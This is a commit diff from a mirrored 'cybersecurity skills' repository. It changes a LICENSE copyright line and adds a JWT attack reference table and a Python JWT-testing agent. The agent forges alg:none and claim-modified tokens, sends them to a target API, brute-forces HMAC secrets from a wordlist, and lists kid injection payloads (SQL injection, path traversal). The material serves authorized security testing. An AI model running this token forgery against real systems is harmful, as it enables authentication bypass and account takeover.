mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-25 22:00:58 +03:00
Complete folder anatomy for all 649 cybersecurity skills + update LICENSE to Mahipal
- Add scripts/agent.py and references/api-reference.md to all remaining skills - Update all 648 LICENSE files: copyright now reads 'Mahipal' - Add implementing-security-monitoring-with-datadog (new skill with full anatomy) - All 649 skills now have: SKILL.md, LICENSE, scripts/agent.py, references/api-reference.md
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
# API Reference: Testing for JSON Web Token Vulnerabilities
|
||||
|
||||
## JWT Attack Types
|
||||
|
||||
| Attack | Severity | Description |
|
||||
|--------|----------|-------------|
|
||||
| alg:none bypass | Critical | Remove signature verification |
|
||||
| Weak HMAC secret | Critical | Brute-force signing key |
|
||||
| Algorithm confusion | Critical | RS256 -> HS256 with public key |
|
||||
| kid injection | High | Path traversal/SQLi in kid |
|
||||
| jku spoofing | High | Point JWKS to attacker server |
|
||||
| Claim tampering | High | Modify role/sub without re-sign |
|
||||
| Missing exp | High | Token never expires |
|
||||
|
||||
## JWT Structure
|
||||
|
||||
| Part | Content | Example |
|
||||
|------|---------|---------|
|
||||
| Header | Algorithm, type, kid | `{"alg":"HS256","typ":"JWT"}` |
|
||||
| Payload | Claims (sub, exp, iat, iss) | `{"sub":"1001","role":"user"}` |
|
||||
| Signature | HMAC or RSA signature | Base64url encoded |
|
||||
|
||||
## JWT Testing Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| jwt_tool | 12+ attack modes for JWT testing |
|
||||
| hashcat -m 16500 | GPU JWT HMAC secret cracking |
|
||||
| Burp JWT Editor | Interactive JWT manipulation |
|
||||
| jwt.io | Online JWT decoder |
|
||||
| john | CPU-based JWT secret cracking |
|
||||
|
||||
## Standard Claims
|
||||
|
||||
| Claim | Required | Purpose |
|
||||
|-------|----------|---------|
|
||||
| iss | Yes | Issuer identifier |
|
||||
| sub | Yes | Subject (user ID) |
|
||||
| aud | Yes | Intended audience |
|
||||
| exp | Yes | Expiration time |
|
||||
| iat | Recommended | Issued at time |
|
||||
| nbf | Optional | Not before time |
|
||||
| jti | Optional | JWT ID (replay prevention) |
|
||||
|
||||
## Python Libraries
|
||||
|
||||
| Library | Version | Purpose |
|
||||
|---------|---------|---------|
|
||||
| `base64` | stdlib | JWT encoding/decoding |
|
||||
| `hmac` | stdlib | HMAC signature generation |
|
||||
| `hashlib` | stdlib | Hash functions |
|
||||
| `json` | stdlib | JSON parsing |
|
||||
| `requests` | >=2.28 | Token testing against APIs |
|
||||
|
||||
## References
|
||||
|
||||
- jwt_tool: https://github.com/ticarpi/jwt_tool
|
||||
- PortSwigger JWT: https://portswigger.net/web-security/jwt
|
||||
- RFC 7519: https://www.rfc-editor.org/rfc/rfc7519
|
||||
@@ -0,0 +1,213 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for testing JSON Web Token vulnerabilities.
|
||||
|
||||
Tests JWT implementations for algorithm confusion, none algorithm
|
||||
bypass, weak HMAC secrets, kid injection, missing claims, and
|
||||
token forgery to detect authentication bypass risks.
|
||||
"""
|
||||
|
||||
import json
|
||||
import base64
|
||||
import hmac
|
||||
import hashlib
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from datetime import datetime
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
requests = None
|
||||
|
||||
|
||||
COMMON_SECRETS = [
|
||||
"secret", "password", "123456", "jwt_secret", "supersecret",
|
||||
"key", "changeme", "default", "your-256-bit-secret",
|
||||
"my-secret-key", "jwt-secret", "s3cr3t", "secret123",
|
||||
"apisecret", "qwerty", "letmein", "1234567890",
|
||||
]
|
||||
|
||||
|
||||
class JWTTestAgent:
|
||||
"""Tests JWT implementations for security vulnerabilities."""
|
||||
|
||||
def __init__(self, base_url=None, output_dir="./jwt_test"):
|
||||
self.base_url = base_url.rstrip("/") if base_url else None
|
||||
self.output_dir = Path(output_dir)
|
||||
self.output_dir.mkdir(parents=True, exist_ok=True)
|
||||
self.findings = []
|
||||
|
||||
def decode_jwt(self, token):
|
||||
"""Decode JWT header and payload without verification."""
|
||||
parts = token.split(".")
|
||||
if len(parts) != 3:
|
||||
return None, None, None
|
||||
def pad(s):
|
||||
return s + "=" * (4 - len(s) % 4)
|
||||
try:
|
||||
header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
|
||||
payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
|
||||
return header, payload, parts[2]
|
||||
except Exception:
|
||||
return None, None, None
|
||||
|
||||
def analyze_token(self, token):
|
||||
"""Analyze JWT for security issues."""
|
||||
header, payload, sig = self.decode_jwt(token)
|
||||
if not header:
|
||||
return {"error": "Invalid JWT"}
|
||||
|
||||
issues = []
|
||||
alg = header.get("alg", "")
|
||||
if alg == "none":
|
||||
issues.append({"severity": "critical", "issue": "alg set to 'none'"})
|
||||
if alg in ("HS256", "HS384", "HS512"):
|
||||
issues.append({"severity": "info", "issue": f"Symmetric {alg} - test for weak secrets"})
|
||||
if "kid" in header:
|
||||
issues.append({"severity": "info", "issue": f"kid present: {header['kid']} - test for injection"})
|
||||
if "jku" in header:
|
||||
issues.append({"severity": "medium", "issue": f"jku present: {header['jku']} - test JWKS spoofing"})
|
||||
if "exp" not in payload:
|
||||
issues.append({"severity": "high", "issue": "No expiration claim"})
|
||||
if "iss" not in payload:
|
||||
issues.append({"severity": "medium", "issue": "No issuer claim"})
|
||||
if "aud" not in payload:
|
||||
issues.append({"severity": "medium", "issue": "No audience claim"})
|
||||
|
||||
for i in issues:
|
||||
self.findings.append({"severity": i["severity"], "type": "JWT Analysis", "detail": i["issue"]})
|
||||
|
||||
return {"header": header, "payload": payload, "issues": issues}
|
||||
|
||||
def test_none_algorithm(self, token):
|
||||
"""Forge token with alg:none to bypass signature."""
|
||||
header, payload, _ = self.decode_jwt(token)
|
||||
if not header:
|
||||
return []
|
||||
|
||||
header["alg"] = "none"
|
||||
new_header = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=")
|
||||
parts = token.split(".")
|
||||
variants = [
|
||||
f"{new_header}.{parts[1]}.",
|
||||
f"{new_header}.{parts[1]}.{parts[2]}",
|
||||
f"{new_header}.{parts[1]}.e30",
|
||||
]
|
||||
|
||||
results = []
|
||||
if self.base_url and requests:
|
||||
for v in variants:
|
||||
resp = requests.get(f"{self.base_url}/users/me",
|
||||
headers={"Authorization": f"Bearer {v}"}, timeout=10)
|
||||
if resp.status_code == 200:
|
||||
results.append({"variant": v[:60], "accepted": True})
|
||||
self.findings.append({
|
||||
"severity": "critical",
|
||||
"type": "alg:none Bypass",
|
||||
"detail": "Server accepts JWT with alg:none",
|
||||
})
|
||||
return variants
|
||||
|
||||
def brute_force_secret(self, token):
|
||||
"""Brute-force HMAC secret against common passwords."""
|
||||
header, _, _ = self.decode_jwt(token)
|
||||
if not header or header.get("alg") not in ("HS256", "HS384", "HS512"):
|
||||
return None
|
||||
|
||||
parts = token.split(".")
|
||||
signing_input = f"{parts[0]}.{parts[1]}".encode()
|
||||
signature = parts[2]
|
||||
|
||||
alg_map = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}
|
||||
h = alg_map[header["alg"]]
|
||||
|
||||
for secret in COMMON_SECRETS:
|
||||
expected = base64.urlsafe_b64encode(
|
||||
hmac.new(secret.encode(), signing_input, h).digest()
|
||||
).decode().rstrip("=")
|
||||
if expected == signature:
|
||||
self.findings.append({
|
||||
"severity": "critical",
|
||||
"type": "Weak JWT Secret",
|
||||
"detail": f"Secret found: '{secret}'",
|
||||
})
|
||||
return secret
|
||||
return None
|
||||
|
||||
def forge_token(self, token, claims_override, secret=None):
|
||||
"""Forge a JWT with modified claims."""
|
||||
header, payload, _ = self.decode_jwt(token)
|
||||
if not header:
|
||||
return None
|
||||
payload.update(claims_override)
|
||||
h_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=")
|
||||
p_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip("=")
|
||||
signing_input = f"{h_b64}.{p_b64}".encode()
|
||||
|
||||
if secret and header.get("alg") in ("HS256", "HS384", "HS512"):
|
||||
alg_map = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}
|
||||
sig = base64.urlsafe_b64encode(
|
||||
hmac.new(secret.encode(), signing_input, alg_map[header["alg"]]).digest()
|
||||
).decode().rstrip("=")
|
||||
return f"{h_b64}.{p_b64}.{sig}"
|
||||
return f"{h_b64}.{p_b64}."
|
||||
|
||||
def test_kid_injection(self, token):
|
||||
"""Test kid header parameter for injection."""
|
||||
header, payload, _ = self.decode_jwt(token)
|
||||
if not header or "kid" not in header:
|
||||
return []
|
||||
|
||||
payloads = [
|
||||
"../../dev/null",
|
||||
"' UNION SELECT 'secret' --",
|
||||
"/proc/self/environ",
|
||||
]
|
||||
results = []
|
||||
for p in payloads:
|
||||
results.append({"kid_payload": p, "test": "manual verification required"})
|
||||
self.findings.append({
|
||||
"severity": "medium",
|
||||
"type": "kid Injection Candidates",
|
||||
"detail": f"kid parameter present - test {len(payloads)} injection payloads",
|
||||
})
|
||||
return results
|
||||
|
||||
def generate_report(self, token=None):
|
||||
analysis = None
|
||||
secret = None
|
||||
if token:
|
||||
analysis = self.analyze_token(token)
|
||||
secret = self.brute_force_secret(token)
|
||||
self.test_none_algorithm(token)
|
||||
self.test_kid_injection(token)
|
||||
|
||||
report = {
|
||||
"report_date": datetime.utcnow().isoformat(),
|
||||
"base_url": self.base_url,
|
||||
"jwt_analysis": analysis,
|
||||
"secret_found": secret,
|
||||
"findings": self.findings,
|
||||
"total_findings": len(self.findings),
|
||||
}
|
||||
out = self.output_dir / "jwt_test_report.json"
|
||||
with open(out, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
print(json.dumps(report, indent=2))
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: agent.py <jwt_token> [--url <base_url>]")
|
||||
sys.exit(1)
|
||||
token = sys.argv[1]
|
||||
url = None
|
||||
if "--url" in sys.argv:
|
||||
url = sys.argv[sys.argv.index("--url") + 1]
|
||||
agent = JWTTestAgent(url)
|
||||
agent.generate_report(token)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user